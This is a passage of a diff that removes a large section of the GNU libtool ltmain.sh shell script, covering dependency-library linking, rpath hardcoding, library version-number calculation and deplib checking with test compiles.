- *" $deplib "*) specialdeplibs="$specialdeplibs $deplib" ;;
- esac
- fi
- tmp_libs="$tmp_libs $deplib"
- done # for deplib
- continue
- fi # $linkmode = prog...
-
- if test "$linkmode,$pass" = "prog,link"; then
- if test -n "$library_names" &&
- { test "$prefer_static_libs" = no || test -z "$old_library"; }; then
- # We need to hardcode the library path
- if test -n "$shlibpath_var" && test -z "$avoidtemprpath" ; then
- # Make sure the rpath contains only unique directories.
- case "$temp_rpath " in
- *" $dir "*) ;;
- *" $absdir "*) ;;
- *) temp_rpath="$temp_rpath $absdir" ;;
- esac
- fi
-
- # Hardcode the library path.
- # Skip directories that are in the system default run-time
- # search path.
- case " $sys_lib_dlsearch_path " in
- *" $absdir "*) ;;
- *)
- case "$compile_rpath " in
- *" $absdir "*) ;;
- *) compile_rpath="$compile_rpath $absdir"
- esac
- ;;
- esac
- case " $sys_lib_dlsearch_path " in
- *" $libdir "*) ;;
- *)
- case "$finalize_rpath " in
- *" $libdir "*) ;;
- *) finalize_rpath="$finalize_rpath $libdir"
- esac
- ;;
- esac
- fi # $linkmode,$pass = prog,link...
-
- if test "$alldeplibs" = yes &&
- { test "$deplibs_check_method" = pass_all ||
- { test "$build_libtool_libs" = yes &&
- test -n "$library_names"; }; }; then
- # We only need to search for static libraries
- continue
- fi
- fi
-
- link_static=no # Whether the deplib will be linked statically
- use_static_libs=$prefer_static_libs
- if test "$use_static_libs" = built && test "$installed" = yes ; then
- use_static_libs=no
- fi
- if test -n "$library_names" &&
- { test "$use_static_libs" = no || test -z "$old_library"; }; then
- if test "$installed" = no; then
- notinst_deplibs="$notinst_deplibs $lib"
- need_relink=yes
- fi
- # This is a shared library
-
- # Warn about portability, can't link against -module's on
- # some systems (darwin)
- if test "$shouldnotlink" = yes && test "$pass" = link ; then
- $echo
- if test "$linkmode" = prog; then
- $echo "*** Warning: Linking the executable $output against the loadable module"
- else
- $echo "*** Warning: Linking the shared library $output against the loadable module"
- fi
- $echo "*** $linklib is not portable!"
- fi
- if test "$linkmode" = lib &&
- test "$hardcode_into_libs" = yes; then
- # Hardcode the library path.
- # Skip directories that are in the system default run-time
- # search path.
- case " $sys_lib_dlsearch_path " in
- *" $absdir "*) ;;
- *)
- case "$compile_rpath " in
- *" $absdir "*) ;;
- *) compile_rpath="$compile_rpath $absdir"
- esac
- ;;
- esac
- case " $sys_lib_dlsearch_path " in
- *" $libdir "*) ;;
- *)
- case "$finalize_rpath " in
- *" $libdir "*) ;;
- *) finalize_rpath="$finalize_rpath $libdir"
- esac
- ;;
- esac
- fi
-
- if test -n "$old_archive_from_expsyms_cmds"; then
- # figure out the soname
- set dummy $library_names
- realname="$2"
- shift; shift
- libname=`eval \\$echo \"$libname_spec\"`
- # use dlname if we got it. it's perfectly good, no?
- if test -n "$dlname"; then
- soname="$dlname"
- elif test -n "$soname_spec"; then
- # bleh windows
- case $host in
- *cygwin* | mingw*)
- major=`expr $current - $age`
- versuffix="-$major"
- ;;
- esac
- eval soname=\"$soname_spec\"
- else
- soname="$realname"
- fi
-
- # Make a new name for the extract_expsyms_cmds to use
- soroot="$soname"
- soname=`$echo $soroot | ${SED} -e 's/^.*\///'`
- newlib="libimp-`$echo $soname | ${SED} 's/^lib//;s/\.dll$//'`.a"
-
- # If the library has no export list, then create one now
- if test -f "$output_objdir/$soname-def"; then :
- else
- $show "extracting exported symbol list from \`$soname'"
- save_ifs="$IFS"; IFS='~'
- cmds=$extract_expsyms_cmds
- for cmd in $cmds; do
- IFS="$save_ifs"
- eval cmd=\"$cmd\"
- $show "$cmd"
- $run eval "$cmd" || exit $?
- done
- IFS="$save_ifs"
- fi
-
- # Create $newlib
- if test -f "$output_objdir/$newlib"; then :; else
- $show "generating import library for \`$soname'"
- save_ifs="$IFS"; IFS='~'
- cmds=$old_archive_from_expsyms_cmds
- for cmd in $cmds; do
- IFS="$save_ifs"
- eval cmd=\"$cmd\"
- $show "$cmd"
- $run eval "$cmd" || exit $?
- done
- IFS="$save_ifs"
- fi
- # make sure the library variables are pointing to the new library
- dir=$output_objdir
- linklib=$newlib
- fi # test -n "$old_archive_from_expsyms_cmds"
-
- if test "$linkmode" = prog || test "$mode" != relink; then
- add_shlibpath=
- add_dir=
- add=
- lib_linked=yes
- case $hardcode_action in
- immediate | unsupported)
- if test "$hardcode_direct" = no; then
- add="$dir/$linklib"
- case $host in
- *-*-sco3.2v5.0.[024]*) add_dir="-L$dir" ;;
- *-*-sysv4*uw2*) add_dir="-L$dir" ;;
- *-*-sysv5OpenUNIX* | *-*-sysv5UnixWare7.[01].[10]* | \
- *-*-unixware7*) add_dir="-L$dir" ;;
- *-*-darwin* )
- # if the lib is a module then we can not link against
- # it, someone is ignoring the new warnings I added
- if /usr/bin/file -L $add 2> /dev/null |
- $EGREP ": [^:]* bundle" >/dev/null ; then
- $echo "** Warning, lib $linklib is a module, not a shared library"
- if test -z "$old_library" ; then
- $echo
- $echo "** And there doesn't seem to be a static archive available"
- $echo "** The link will probably fail, sorry"
- else
- add="$dir/$old_library"
- fi
- fi
- esac
- elif test "$hardcode_minus_L" = no; then
- case $host in
- *-*-sunos*) add_shlibpath="$dir" ;;
- esac
- add_dir="-L$dir"
- add="-l$name"
- elif test "$hardcode_shlibpath_var" = no; then
- add_shlibpath="$dir"
- add="-l$name"
- else
- lib_linked=no
- fi
- ;;
- relink)
- if test "$hardcode_direct" = yes; then
- add="$dir/$linklib"
- elif test "$hardcode_minus_L" = yes; then
- add_dir="-L$dir"
- # Try looking first in the location we're being installed to.
- if test -n "$inst_prefix_dir"; then
- case $libdir in
- [\\/]*)
- add_dir="$add_dir -L$inst_prefix_dir$libdir"
- ;;
- esac
- fi
- add="-l$name"
- elif test "$hardcode_shlibpath_var" = yes; then
- add_shlibpath="$dir"
- add="-l$name"
- else
- lib_linked=no
- fi
- ;;
- *) lib_linked=no ;;
- esac
-
- if test "$lib_linked" != yes; then
- $echo "$modename: configuration error: unsupported hardcode properties"
- exit $EXIT_FAILURE
- fi
-
- if test -n "$add_shlibpath"; then
- case :$compile_shlibpath: in
- *":$add_shlibpath:"*) ;;
- *) compile_shlibpath="$compile_shlibpath$add_shlibpath:" ;;
- esac
- fi
- if test "$linkmode" = prog; then
- test -n "$add_dir" && compile_deplibs="$add_dir $compile_deplibs"
- test -n "$add" && compile_deplibs="$add $compile_deplibs"
- else
- test -n "$add_dir" && deplibs="$add_dir $deplibs"
- test -n "$add" && deplibs="$add $deplibs"
- if test "$hardcode_direct" != yes && \
- test "$hardcode_minus_L" != yes && \
- test "$hardcode_shlibpath_var" = yes; then
- case :$finalize_shlibpath: in
- *":$libdir:"*) ;;
- *) finalize_shlibpath="$finalize_shlibpath$libdir:" ;;
- esac
- fi
- fi
- fi
-
- if test "$linkmode" = prog || test "$mode" = relink; then
- add_shlibpath=
- add_dir=
- add=
- # Finalize command for both is simple: just hardcode it.
- if test "$hardcode_direct" = yes; then
- add="$libdir/$linklib"
- elif test "$hardcode_minus_L" = yes; then
- add_dir="-L$libdir"
- add="-l$name"
- elif test "$hardcode_shlibpath_var" = yes; then
- case :$finalize_shlibpath: in
- *":$libdir:"*) ;;
- *) finalize_shlibpath="$finalize_shlibpath$libdir:" ;;
- esac
- add="-l$name"
- elif test "$hardcode_automatic" = yes; then
- if test -n "$inst_prefix_dir" &&
- test -f "$inst_prefix_dir$libdir/$linklib" ; then
- add="$inst_prefix_dir$libdir/$linklib"
- else
- add="$libdir/$linklib"
- fi
- else
- # We cannot seem to hardcode it, guess we'll fake it.
- add_dir="-L$libdir"
- # Try looking first in the location we're being installed to.
- if test -n "$inst_prefix_dir"; then
- case $libdir in
- [\\/]*)
- add_dir="$add_dir -L$inst_prefix_dir$libdir"
- ;;
- esac
- fi
- add="-l$name"
- fi
-
- if test "$linkmode" = prog; then
- test -n "$add_dir" && finalize_deplibs="$add_dir $finalize_deplibs"
- test -n "$add" && finalize_deplibs="$add $finalize_deplibs"
- else
- test -n "$add_dir" && deplibs="$add_dir $deplibs"
- test -n "$add" && deplibs="$add $deplibs"
- fi
- fi
- elif test "$linkmode" = prog; then
- # Here we assume that one of hardcode_direct or hardcode_minus_L
- # is not unsupported. This is valid on all known static and
- # shared platforms.
- if test "$hardcode_direct" != unsupported; then
- test -n "$old_library" && linklib="$old_library"
- compile_deplibs="$dir/$linklib $compile_deplibs"
- finalize_deplibs="$dir/$linklib $finalize_deplibs"
- else
- compile_deplibs="-l$name -L$dir $compile_deplibs"
- finalize_deplibs="-l$name -L$dir $finalize_deplibs"
- fi
- elif test "$build_libtool_libs" = yes; then
- # Not a shared library
- if test "$deplibs_check_method" != pass_all; then
- # We're trying link a shared library against a static one
- # but the system doesn't support it.
-
- # Just print a warning and add the library to dependency_libs so
- # that the program can be linked against the static library.
- $echo
- $echo "*** Warning: This system can not link to static lib archive $lib."
- $echo "*** I have the capability to make that library automatically link in when"
- $echo "*** you link to this library. But I can only do this if you have a"
- $echo "*** shared version of the library, which you do not appear to have."
- if test "$module" = yes; then
- $echo "*** But as you try to build a module library, libtool will still create "
- $echo "*** a static module, that should work as long as the dlopening application"
- $echo "*** is linked with the -dlopen flag to resolve symbols at runtime."
- if test -z "$global_symbol_pipe"; then
- $echo
- $echo "*** However, this would only work if libtool was able to extract symbol"
- $echo "*** lists from a program, using \`nm' or equivalent, but libtool could"
- $echo "*** not find such a program. So, this module is probably useless."
- $echo "*** \`nm' from GNU binutils and a full rebuild may help."
- fi
- if test "$build_old_libs" = no; then
- build_libtool_libs=module
- build_old_libs=yes
- else
- build_libtool_libs=no
- fi
- fi
- else
- deplibs="$dir/$old_library $deplibs"
- link_static=yes
- fi
- fi # link shared/static library?
-
- if test "$linkmode" = lib; then
- if test -n "$dependency_libs" &&
- { test "$hardcode_into_libs" != yes ||
- test "$build_old_libs" = yes ||
- test "$link_static" = yes; }; then
- # Extract -R from dependency_libs
- temp_deplibs=
- for libdir in $dependency_libs; do
- case $libdir in
- -R*) temp_xrpath=`$echo "X$libdir" | $Xsed -e 's/^-R//'`
- case " $xrpath " in
- *" $temp_xrpath "*) ;;
- *) xrpath="$xrpath $temp_xrpath";;
- esac;;
- *) temp_deplibs="$temp_deplibs $libdir";;
- esac
- done
- dependency_libs="$temp_deplibs"
- fi
-
- newlib_search_path="$newlib_search_path $absdir"
- # Link against this library
- test "$link_static" = no && newdependency_libs="$abs_ladir/$laname $newdependency_libs"
- # ... and its dependency_libs
- tmp_libs=
- for deplib in $dependency_libs; do
- newdependency_libs="$deplib $newdependency_libs"
- if test "X$duplicate_deps" = "Xyes" ; then
- case "$tmp_libs " in
- *" $deplib "*) specialdeplibs="$specialdeplibs $deplib" ;;
- esac
- fi
- tmp_libs="$tmp_libs $deplib"
- done
-
- if test "$link_all_deplibs" != no; then
- # Add the search paths of all dependency libraries
- for deplib in $dependency_libs; do
- case $deplib in
- -L*) path="$deplib" ;;
- *.la)
- dir=`$echo "X$deplib" | $Xsed -e 's%/[^/]*$%%'`
- test "X$dir" = "X$deplib" && dir="."
- # We need an absolute path.
- case $dir in
- [\\/]* | [A-Za-z]:[\\/]*) absdir="$dir" ;;
- *)
- absdir=`cd "$dir" && pwd`
- if test -z "$absdir"; then
- $echo "$modename: warning: cannot determine absolute directory name of \`$dir'" 1>&2
- absdir="$dir"
- fi
- ;;
- esac
- if grep "^installed=no" $deplib > /dev/null; then
- path="$absdir/$objdir"
- else
- eval libdir=`${SED} -n -e 's/^libdir=\(.*\)$/\1/p' $deplib`
- if test -z "$libdir"; then
- $echo "$modename: \`$deplib' is not a valid libtool archive" 1>&2
- exit $EXIT_FAILURE
- fi
- if test "$absdir" != "$libdir"; then
- $echo "$modename: warning: \`$deplib' seems to be moved" 1>&2
- fi
- path="$absdir"
- fi
- depdepl=
- case $host in
- *-*-darwin*)
- # we do not want to link against static libs,
- # but need to link against shared
- eval deplibrary_names=`${SED} -n -e 's/^library_names=\(.*\)$/\1/p' $deplib`
- if test -n "$deplibrary_names" ; then
- for tmp in $deplibrary_names ; do
- depdepl=$tmp
- done
- if test -f "$path/$depdepl" ; then
- depdepl="$path/$depdepl"
- fi
- # do not add paths which are already there
- case " $newlib_search_path " in
- *" $path "*) ;;
- *) newlib_search_path="$newlib_search_path $path";;
- esac
- fi
- path=""
- ;;
- *)
- path="-L$path"
- ;;
- esac
- ;;
- -l*)
- case $host in
- *-*-darwin*)
- # Again, we only want to link against shared libraries
- eval tmp_libs=`$echo "X$deplib" | $Xsed -e "s,^\-l,,"`
- for tmp in $newlib_search_path ; do
- if test -f "$tmp/lib$tmp_libs.dylib" ; then
- eval depdepl="$tmp/lib$tmp_libs.dylib"
- break
- fi
- done
- path=""
- ;;
- *) continue ;;
- esac
- ;;
- *) continue ;;
- esac
- case " $deplibs " in
- *" $path "*) ;;
- *) deplibs="$path $deplibs" ;;
- esac
- case " $deplibs " in
- *" $depdepl "*) ;;
- *) deplibs="$depdepl $deplibs" ;;
- esac
- done
- fi # link_all_deplibs != no
- fi # linkmode = lib
- done # for deplib in $libs
- dependency_libs="$newdependency_libs"
- if test "$pass" = dlpreopen; then
- # Link the dlpreopened libraries before other libraries
- for deplib in $save_deplibs; do
- deplibs="$deplib $deplibs"
- done
- fi
- if test "$pass" != dlopen; then
- if test "$pass" != conv; then
- # Make sure lib_search_path contains only unique directories.
- lib_search_path=
- for dir in $newlib_search_path; do
- case "$lib_search_path " in
- *" $dir "*) ;;
- *) lib_search_path="$lib_search_path $dir" ;;
- esac
- done
- newlib_search_path=
- fi
-
- if test "$linkmode,$pass" != "prog,link"; then
- vars="deplibs"
- else
- vars="compile_deplibs finalize_deplibs"
- fi
- for var in $vars dependency_libs; do
- # Add libraries to $var in reverse order
- eval tmp_libs=\"\$$var\"
- new_libs=
- for deplib in $tmp_libs; do
- # FIXME: Pedantically, this is the right thing to do, so
- # that some nasty dependency loop isn't accidentally
- # broken:
- #new_libs="$deplib $new_libs"
- # Pragmatically, this seems to cause very few problems in
- # practice:
- case $deplib in
- -L*) new_libs="$deplib $new_libs" ;;
- -R*) ;;
- *)
- # And here is the reason: when a library appears more
- # than once as an explicit dependence of a library, or
- # is implicitly linked in more than once by the
- # compiler, it is considered special, and multiple
- # occurrences thereof are not removed. Compare this
- # with having the same library being listed as a
- # dependency of multiple other libraries: in this case,
- # we know (pedantically, we assume) the library does not
- # need to be listed more than once, so we keep only the
- # last copy. This is not always right, but it is rare
- # enough that we require users that really mean to play
- # such unportable linking tricks to link the library
- # using -Wl,-lname, so that libtool does not consider it
- # for duplicate removal.
- case " $specialdeplibs " in
- *" $deplib "*) new_libs="$deplib $new_libs" ;;
- *)
- case " $new_libs " in
- *" $deplib "*) ;;
- *) new_libs="$deplib $new_libs" ;;
- esac
- ;;
- esac
- ;;
- esac
- done
- tmp_libs=
- for deplib in $new_libs; do
- case $deplib in
- -L*)
- case " $tmp_libs " in
- *" $deplib "*) ;;
- *) tmp_libs="$tmp_libs $deplib" ;;
- esac
- ;;
- *) tmp_libs="$tmp_libs $deplib" ;;
- esac
- done
- eval $var=\"$tmp_libs\"
- done # for var
- fi
- # Last step: remove runtime libs from dependency_libs
- # (they stay in deplibs)
- tmp_libs=
- for i in $dependency_libs ; do
- case " $predeps $postdeps $compiler_lib_search_path " in
- *" $i "*)
- i=""
- ;;
- esac
- if test -n "$i" ; then
- tmp_libs="$tmp_libs $i"
- fi
- done
- dependency_libs=$tmp_libs
- done # for pass
- if test "$linkmode" = prog; then
- dlfiles="$newdlfiles"
- dlprefiles="$newdlprefiles"
- fi
-
- case $linkmode in
- oldlib)
- if test -n "$deplibs"; then
- $echo "$modename: warning: \`-l' and \`-L' are ignored for archives" 1>&2
- fi
-
- if test -n "$dlfiles$dlprefiles" || test "$dlself" != no; then
- $echo "$modename: warning: \`-dlopen' is ignored for archives" 1>&2
- fi
-
- if test -n "$rpath"; then
- $echo "$modename: warning: \`-rpath' is ignored for archives" 1>&2
- fi
-
- if test -n "$xrpath"; then
- $echo "$modename: warning: \`-R' is ignored for archives" 1>&2
- fi
-
- if test -n "$vinfo"; then
- $echo "$modename: warning: \`-version-info/-version-number' is ignored for archives" 1>&2
- fi
-
- if test -n "$release"; then
- $echo "$modename: warning: \`-release' is ignored for archives" 1>&2
- fi
-
- if test -n "$export_symbols" || test -n "$export_symbols_regex"; then
- $echo "$modename: warning: \`-export-symbols' is ignored for archives" 1>&2
- fi
-
- # Now set the variables for building old libraries.
- build_libtool_libs=no
- oldlibs="$output"
- objs="$objs$old_deplibs"
- ;;
-
- lib)
- # Make sure we only generate libraries of the form `libNAME.la'.
- case $outputname in
- lib*)
- name=`$echo "X$outputname" | $Xsed -e 's/\.la$//' -e 's/^lib//'`
- eval shared_ext=\"$shrext_cmds\"
- eval libname=\"$libname_spec\"
- ;;
- *)
- if test "$module" = no; then
- $echo "$modename: libtool library \`$output' must begin with \`lib'" 1>&2
- $echo "$help" 1>&2
- exit $EXIT_FAILURE
- fi
- if test "$need_lib_prefix" != no; then
- # Add the "lib" prefix for modules if required
- name=`$echo "X$outputname" | $Xsed -e 's/\.la$//'`
- eval shared_ext=\"$shrext_cmds\"
- eval libname=\"$libname_spec\"
- else
- libname=`$echo "X$outputname" | $Xsed -e 's/\.la$//'`
- fi
- ;;
- esac
-
- if test -n "$objs"; then
- if test "$deplibs_check_method" != pass_all; then
- $echo "$modename: cannot build libtool library \`$output' from non-libtool objects on this host:$objs" 2>&1
- exit $EXIT_FAILURE
- else
- $echo
- $echo "*** Warning: Linking the shared library $output against the non-libtool"
- $echo "*** objects $objs is not portable!"
- libobjs="$libobjs $objs"
- fi
- fi
-
- if test "$dlself" != no; then
- $echo "$modename: warning: \`-dlopen self' is ignored for libtool libraries" 1>&2
- fi
-
- set dummy $rpath
- if test "$#" -gt 2; then
- $echo "$modename: warning: ignoring multiple \`-rpath's for a libtool library" 1>&2
- fi
- install_libdir="$2"
-
- oldlibs=
- if test -z "$rpath"; then
- if test "$build_libtool_libs" = yes; then
- # Building a libtool convenience library.
- # Some compilers have problems with a `.al' extension so
- # convenience libraries should have the same extension an
- # archive normally would.
- oldlibs="$output_objdir/$libname.$libext $oldlibs"
- build_libtool_libs=convenience
- build_old_libs=yes
- fi
-
- if test -n "$vinfo"; then
- $echo "$modename: warning: \`-version-info/-version-number' is ignored for convenience libraries" 1>&2
- fi
-
- if test -n "$release"; then
- $echo "$modename: warning: \`-release' is ignored for convenience libraries" 1>&2
- fi
- else
-
- # Parse the version information argument.
- save_ifs="$IFS"; IFS=':'
- set dummy $vinfo 0 0 0
- IFS="$save_ifs"
-
- if test -n "$8"; then
- $echo "$modename: too many parameters to \`-version-info'" 1>&2
- $echo "$help" 1>&2
- exit $EXIT_FAILURE
- fi
-
- # convert absolute version numbers to libtool ages
- # this retains compatibility with .la files and attempts
- # to make the code below a bit more comprehensible
-
- case $vinfo_number in
- yes)
- number_major="$2"
- number_minor="$3"
- number_revision="$4"
- #
- # There are really only two kinds -- those that
- # use the current revision as the major version
- # and those that subtract age and use age as
- # a minor version. But, then there is irix
- # which has an extra 1 added just for fun
- #
- case $version_type in
- darwin|linux|osf|windows)
- current=`expr $number_major + $number_minor`
- age="$number_minor"
- revision="$number_revision"
- ;;
- freebsd-aout|freebsd-elf|sunos)
- current="$number_major"
- revision="$number_minor"
- age="0"
- ;;
- irix|nonstopux)
- current=`expr $number_major + $number_minor - 1`
- age="$number_minor"
- revision="$number_minor"
- ;;
- esac
- ;;
- no)
- current="$2"
- revision="$3"
- age="$4"
- ;;
- esac
-
- # Check that each of the things are valid numbers.
- case $current in
- 0|[1-9]|[1-9][0-9]|[1-9][0-9][0-9]|[1-9][0-9][0-9][0-9]|[1-9][0-9][0-9][0-9][0-9]) ;;
- *)
- $echo "$modename: CURRENT \`$current' must be a nonnegative integer" 1>&2
- $echo "$modename: \`$vinfo' is not valid version information" 1>&2
- exit $EXIT_FAILURE
- ;;
- esac
-
- case $revision in
- 0|[1-9]|[1-9][0-9]|[1-9][0-9][0-9]|[1-9][0-9][0-9][0-9]|[1-9][0-9][0-9][0-9][0-9]) ;;
- *)
- $echo "$modename: REVISION \`$revision' must be a nonnegative integer" 1>&2
- $echo "$modename: \`$vinfo' is not valid version information" 1>&2
- exit $EXIT_FAILURE
- ;;
- esac
-
- case $age in
- 0|[1-9]|[1-9][0-9]|[1-9][0-9][0-9]|[1-9][0-9][0-9][0-9]|[1-9][0-9][0-9][0-9][0-9]) ;;
- *)
- $echo "$modename: AGE \`$age' must be a nonnegative integer" 1>&2
- $echo "$modename: \`$vinfo' is not valid version information" 1>&2
- exit $EXIT_FAILURE
- ;;
- esac
-
- if test "$age" -gt "$current"; then
- $echo "$modename: AGE \`$age' is greater than the current interface number \`$current'" 1>&2
- $echo "$modename: \`$vinfo' is not valid version information" 1>&2
- exit $EXIT_FAILURE
- fi
-
- # Calculate the version variables.
- major=
- versuffix=
- verstring=
- case $version_type in
- none) ;;
-
- darwin)
- # Like Linux, but with the current version available in
- # verstring for coding it into the library header
- major=.`expr $current - $age`
- versuffix="$major.$age.$revision"
- # Darwin ld doesn't like 0 for these options...
- minor_current=`expr $current + 1`
- verstring="${wl}-compatibility_version ${wl}$minor_current ${wl}-current_version ${wl}$minor_current.$revision"
- ;;
-
- freebsd-aout)
- major=".$current"
- versuffix=".$current.$revision";
- ;;
-
- freebsd-elf)
- major=".$current"
- versuffix=".$current";
- ;;
-
- irix | nonstopux)
- major=`expr $current - $age + 1`
-
- case $version_type in
- nonstopux) verstring_prefix=nonstopux ;;
- *) verstring_prefix=sgi ;;
- esac
- verstring="$verstring_prefix$major.$revision"
-
- # Add in all the interfaces that we are compatible with.
- loop=$revision
- while test "$loop" -ne 0; do
- iface=`expr $revision - $loop`
- loop=`expr $loop - 1`
- verstring="$verstring_prefix$major.$iface:$verstring"
- done
-
- # Before this point, $major must not contain `.'.
- major=.$major
- versuffix="$major.$revision"
- ;;
-
- linux)
- major=.`expr $current - $age`
- versuffix="$major.$age.$revision"
- ;;
-
- osf)
- major=.`expr $current - $age`
- versuffix=".$current.$age.$revision"
- verstring="$current.$age.$revision"
-
- # Add in all the interfaces that we are compatible with.
- loop=$age
- while test "$loop" -ne 0; do
- iface=`expr $current - $loop`
- loop=`expr $loop - 1`
- verstring="$verstring:${iface}.0"
- done
-
- # Make executables depend on our current version.
- verstring="$verstring:${current}.0"
- ;;
-
- sunos)
- major=".$current"
- versuffix=".$current.$revision"
- ;;
-
- windows)
- # Use '-' rather than '.', since we only want one
- # extension on DOS 8.3 filesystems.
- major=`expr $current - $age`
- versuffix="-$major"
- ;;
-
- *)
- $echo "$modename: unknown library version type \`$version_type'" 1>&2
- $echo "Fatal configuration error. See the $PACKAGE docs for more information." 1>&2
- exit $EXIT_FAILURE
- ;;
- esac
-
- # Clear the version info if we defaulted, and they specified a release.
- if test -z "$vinfo" && test -n "$release"; then
- major=
- case $version_type in
- darwin)
- # we can't check for "0.0" in archive_cmds due to quoting
- # problems, so we reset it completely
- verstring=
- ;;
- *)
- verstring="0.0"
- ;;
- esac
- if test "$need_version" = no; then
- versuffix=
- else
- versuffix=".0.0"
- fi
- fi
-
- # Remove version info from name if versioning should be avoided
- if test "$avoid_version" = yes && test "$need_version" = no; then
- major=
- versuffix=
- verstring=""
- fi
-
- # Check to see if the archive will have undefined symbols.
- if test "$allow_undefined" = yes; then
- if test "$allow_undefined_flag" = unsupported; then
- $echo "$modename: warning: undefined symbols not allowed in $host shared libraries" 1>&2
- build_libtool_libs=no
- build_old_libs=yes
- fi
- else
- # Don't allow undefined symbols.
- allow_undefined_flag="$no_undefined_flag"
- fi
- fi
-
- if test "$mode" != relink; then
- # Remove our outputs, but don't remove object files since they
- # may have been created when compiling PIC objects.
- removelist=
- tempremovelist=`$echo "$output_objdir/*"`
- for p in $tempremovelist; do
- case $p in
- *.$objext)
- ;;
- $output_objdir/$outputname | $output_objdir/$libname.* | $output_objdir/${libname}${release}.*)
- if test "X$precious_files_regex" != "X"; then
- if echo $p | $EGREP -e "$precious_files_regex" >/dev/null 2>&1
- then
- continue
- fi
- fi
- removelist="$removelist $p"
- ;;
- *) ;;
- esac
- done
- if test -n "$removelist"; then
- $show "${rm}r $removelist"
- $run ${rm}r $removelist
- fi
- fi
-
- # Now set the variables for building old libraries.
- if test "$build_old_libs" = yes && test "$build_libtool_libs" != convenience ; then
- oldlibs="$oldlibs $output_objdir/$libname.$libext"
-
- # Transform .lo files to .o files.
- oldobjs="$objs "`$echo "X$libobjs" | $SP2NL | $Xsed -e '/\.'${libext}'$/d' -e "$lo2o" | $NL2SP`
- fi
-
- # Eliminate all temporary directories.
- for path in $notinst_path; do
- lib_search_path=`$echo "$lib_search_path " | ${SED} -e "s% $path % %g"`
- deplibs=`$echo "$deplibs " | ${SED} -e "s% -L$path % %g"`
- dependency_libs=`$echo "$dependency_libs " | ${SED} -e "s% -L$path % %g"`
- done
-
- if test -n "$xrpath"; then
- # If the user specified any rpath flags, then add them.
- temp_xrpath=
- for libdir in $xrpath; do
- temp_xrpath="$temp_xrpath -R$libdir"
- case "$finalize_rpath " in
- *" $libdir "*) ;;
- *) finalize_rpath="$finalize_rpath $libdir" ;;
- esac
- done
- if test "$hardcode_into_libs" != yes || test "$build_old_libs" = yes; then
- dependency_libs="$temp_xrpath $dependency_libs"
- fi
- fi
-
- # Make sure dlfiles contains only unique files that won't be dlpreopened
- old_dlfiles="$dlfiles"
- dlfiles=
- for lib in $old_dlfiles; do
- case " $dlprefiles $dlfiles " in
- *" $lib "*) ;;
- *) dlfiles="$dlfiles $lib" ;;
- esac
- done
-
- # Make sure dlprefiles contains only unique files
- old_dlprefiles="$dlprefiles"
- dlprefiles=
- for lib in $old_dlprefiles; do
- case "$dlprefiles " in
- *" $lib "*) ;;
- *) dlprefiles="$dlprefiles $lib" ;;
- esac
- done
-
- if test "$build_libtool_libs" = yes; then
- if test -n "$rpath"; then
- case $host in
- *-*-cygwin* | *-*-mingw* | *-*-pw32* | *-*-os2* | *-*-beos*)
- # these systems don't actually have a c library (as such)!
- ;;
- *-*-rhapsody* | *-*-darwin1.[012])
- # Rhapsody C library is in the System framework
- deplibs="$deplibs -framework System"
- ;;
- *-*-netbsd*)
- # Don't link with libc until the a.out ld.so is fixed.
- ;;
- *-*-openbsd* | *-*-freebsd* | *-*-dragonfly*)
- # Do not include libc due to us having libc/libc_r.
- ;;
- *-*-sco3.2v5* | *-*-sco5v6*)
- # Causes problems with __ctype
- ;;
- *-*-sysv4.2uw2* | *-*-sysv5* | *-*-unixware* | *-*-OpenUNIX*)
- # Compiler inserts libc in the correct place for threads to work
- ;;
- *)
- # Add libc to deplibs on all other systems if necessary.
- if test "$build_libtool_need_lc" = "yes"; then
- deplibs="$deplibs -lc"
- fi
- ;;
- esac
- fi
-
- # Transform deplibs into only deplibs that can be linked in shared.
- name_save=$name
- libname_save=$libname
- release_save=$release
- versuffix_save=$versuffix
- major_save=$major
- # I'm not sure if I'm treating the release correctly. I think
- # release should show up in the -l (ie -lgmp5) so we don't want to
- # add it in twice. Is that correct?
- release=""
- versuffix=""
- major=""
- newdeplibs=
- droppeddeps=no
- case $deplibs_check_method in
- pass_all)
- # Don't check for shared/static. Everything works.
- # This might be a little naive. We might want to check
- # whether the library exists or not. But this is on
- # osf3 & osf4 and I'm not really sure... Just
- # implementing what was already the behavior.
- newdeplibs=$deplibs
- ;;
- test_compile)
- # This code stresses the "libraries are programs" paradigm to its
- # limits. Maybe even breaks it. We compile a program, linking it
- # against the deplibs as a proxy for the library. Then we can check
- # whether they linked in statically or dynamically with ldd.
- $rm conftest.c
- cat > conftest.c <<EOF
- int main() { return 0; }
-EOF
- $rm conftest
- $LTCC $LTCFLAGS -o conftest conftest.c $deplibs
- if test "$?" -eq 0 ; then
- ldd_output=`ldd conftest`
- for i in $deplibs; do
- name=`expr $i : '-l\(.*\)'`
- # If $name is empty we are operating on a -L argument.
- if test "$name" != "" && test "$name" -ne "0"; then
- if test "X$allow_libtool_libs_with_static_runtimes" = "Xyes" ; then
- case " $predeps $postdeps " in
- *" $i "*)
- newdeplibs="$newdeplibs $i"
- i=""
- ;;
- esac
- fi
- if test -n "$i" ; then
- libname=`eval \\$echo \"$libname_spec\"`
- deplib_matches=`eval \\$echo \"$library_names_spec\"`
- set dummy $deplib_matches
- deplib_match=$2
- if test `expr "$ldd_output" : ".*$deplib_match"` -ne 0 ; then
- newdeplibs="$newdeplibs $i"
- else
- droppeddeps=yes
- $echo
- $echo "*** Warning: dynamic linker does not accept needed library $i."
- $echo "*** I have the capability to make that library automatically link in when"
- $echo "*** you link to this library. But I can only do this if you have a"
- $echo "*** shared version of the library, which I believe you do not have"
- $echo "*** because a test_compile did reveal that the linker did not use it for"
- $echo "*** its dynamic dependency list that programs get resolved with at runtime."
- fi
- fi
- else
- newdeplibs="$newdeplibs $i"
- fi
- done
- else
- # Error occurred in the first compile. Let's try to salvage
- # the situation: Compile a separate program for each library.
- for i in $deplibs; do
- name=`expr $i : '-l\(.*\)'`
- # If $name is empty we are operating on a -L argument.
- if test "$name" != "" && test "$name" != "0"; then
- $rm conftest
- $LTCC $LTCFLAGS -o conftest conftest.c $i
- # Did it work?
- if test "$?" -eq 0 ; then
- ldd_output=`ldd conftest`
- if test "X$allow_libtool_libs_with_static_runtimes" = "Xyes" ; then
- case " $predeps $postdeps " in
- *" $i "*)
- newdeplibs="$newdeplibs $i"
- i=""
- ;;
- esac
- fi
- if test -n "$i" ; then
- libname=`eval \\$echo \"$libname_spec\"`
- deplib_matches=`eval \\$echo \"$library_names_spec\"`
- set dummy $deplib_matches
- deplib_match=$2
- if test `expr "$ldd_output" : ".*$deplib_match"` -ne 0 ; then
- newdeplibs="$newdeplibs $i"
- else
- droppeddeps=yes
